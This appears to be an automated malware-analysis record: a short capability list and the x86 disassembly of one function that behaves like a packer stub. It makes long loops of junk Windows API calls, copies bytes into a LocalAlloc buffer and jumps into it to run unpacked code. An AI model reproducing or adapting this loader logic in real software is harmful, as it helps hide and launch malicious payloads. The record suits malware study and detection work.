Function at 0x4018f1
Capabilities:
Get common file path
Get disk size
Get file attributes
Set environment variable

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x10cc
call fcn.00411250
push ebx
push esi
push edi
xor esi, esi
xor edi, edi
call dword [sym.imp.KERNEL32.dll_GetLastError]
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
cmp edi, 0xfa62c8f
jge 0x40192a
push esi
call dword [sym.imp.GDI32.dll_GetBkMode]
push esi
push esi
push esi
push esi
call dword [sym.imp.GDI32.dll_GetCharWidth32W]
cmp edi, 0x207142
jg 0x40193b
inc edi
cmp edi, 0x67d12
jl 0x401905
cmp dword [0x245f4d4], 0x93
mov ebx, dword [sym.imp.USER32.dll_LoadMenuA]
jne 0x4019fd
push esi
push esi
call dword [sym.imp.USER32.dll_GetWindowLongA]
mov edi, dword [sym.imp.GDI32.dll_CreateDCW]
push esi
push esi
push esi
push esi
call edi
push esi
push esi
lea eax, [ebp - 0x10c8]
push eax
push esi
push esi
call dword [sym.imp.USER32.dll_GetMenuStringW]
push esi
push esi
call ebx
push esi
push esi
push esi
push esi
call dword [sym.imp.USER32.dll_InsertMenuItemA]
push esi
lea eax, [ebp - 0x8c8]
push eax
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_FoldStringW]
push esi
push esi
call dword [sym.imp.KERNEL32.dll_EnumSystemCodePagesA]
push esi
push esi
push esi
push esi
call edi
xor eax, eax
lock bts dword [eax], 0
push esi
push esi
push esi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_CreateFileMappingA]
push esi
lea eax, [ebp - 4]
push eax
call dword [sym.imp.KERNEL32.dll_InterlockedExchangeAdd]
push esi
call fcn.0040479a
pop ecx
push esi
push esi
call fcn.004047c9
push esi
call fcn.00404783
add esp, 0xc
lea eax, [ebp - 0xc8]
push eax
call fcn.004025f3
lea ecx, [ebp - 0x68]
call fcn.0040268f
lea eax, [ebp - 0x68]
push eax
mov dword [ebp - 0x68], vtable.std::ios_base.0
call fcn.004035ea
pop ecx
add dword [0x245f4d4], 0x1134b
push dword [0x245f4d4]
mov eax, dword [0x449e34]
push esi
mov dword [0x2460310], eax
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov dword [0x245ef60], eax
call fcn.00401877
mov edi, 0x1692e
push esi
push esi
call ebx
call dword [sym.imp.KERNEL32.dll_GetLastError]
dec edi
jne 0x401a2d
mov ebx, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
cmp dword [0x245f4d4], esi
jbe 0x401aa0
mov eax, dword [0x2460310]
mov al, byte [eax + edi + 0x1134b]
mov ecx, dword [0x245ef60]
mov byte [ecx + edi], al
cmp dword [0x245f4d4], 0x490
jne 0x401a97
push esi
lea eax, [ebp - 4]
push eax
call dword [sym.imp.KERNEL32.dll_InterlockedExchangeAdd]
push esi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_GetDiskFreeSpaceExW]
push esi
call ebx
lea eax, [ebp - 8]
push eax
push esi
lea eax, [ebp - 0x1c]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_ReadConsoleInputA]
call dword [sym.imp.KERNEL32.dll_DebugBreak]
inc edi
cmp edi, dword [0x245f4d4]
jb 0x401a48
xor edi, edi
mov eax, dword [0x245f4d4]
add eax, edi
cmp eax, 0x8d
jne 0x401ae3
push esi
lea eax, [ebp - 0x8c8]
push eax
push esi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_LCMapStringW]
push esi
push esi
call dword [sym.imp.USER32.dll_SetMenu]
push str.janomibefojidarise
push str.modojoyimedowotepo
call dword [sym.imp.KERNEL32.dll_SetEnvironmentVariableA]
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_OpenEventW]
inc edi
cmp edi, 0x38681
jl 0x401aa2
call fcn.0040177d
xor edi, edi
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp edi, 0x61
jne 0x401b11
mov dword [ebp - 4], esi
add dword [ebp - 4], 0x11b1
mov eax, dword [ebp - 4]
add dword [0x245ef60], eax
inc edi
cmp edi, 0x674bd
jl 0x401af3
push 0x7b
pop edi
cmp dword [0x245f4d4], 0x86
jne 0x401b71
push esi
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
push esi
lea eax, [ebp - 0xcc8]
push eax
push str.nufepupalihewaxehazitiye
call dword [sym.imp.KERNEL32.dll_GetShortPathNameA]
push esi
call dword [sym.imp.KERNEL32.dll_GlobalUnWire]
push esi
push esi
call dword [sym.imp.KERNEL32.dll_SetThreadPriority]
push esi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_SetFileTime]
push esi
call dword [sym.imp.KERNEL32.dll_SetComputerNameA]
push esi
lea eax, [ebp - 0x8c8]
push eax
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryW]
cmp dword [0x245f4d4], 0xf
jne 0x401b85
push esi
lea eax, [ebp - 8]
push eax
call dword [sym.imp.KERNEL32.dll_InterlockedExchange]
dec edi
jne 0x401b1d
push str.msimg32.dll
call ebx
call dword [0x245ef60]
pop edi
pop esi
pop ebx
leave
ret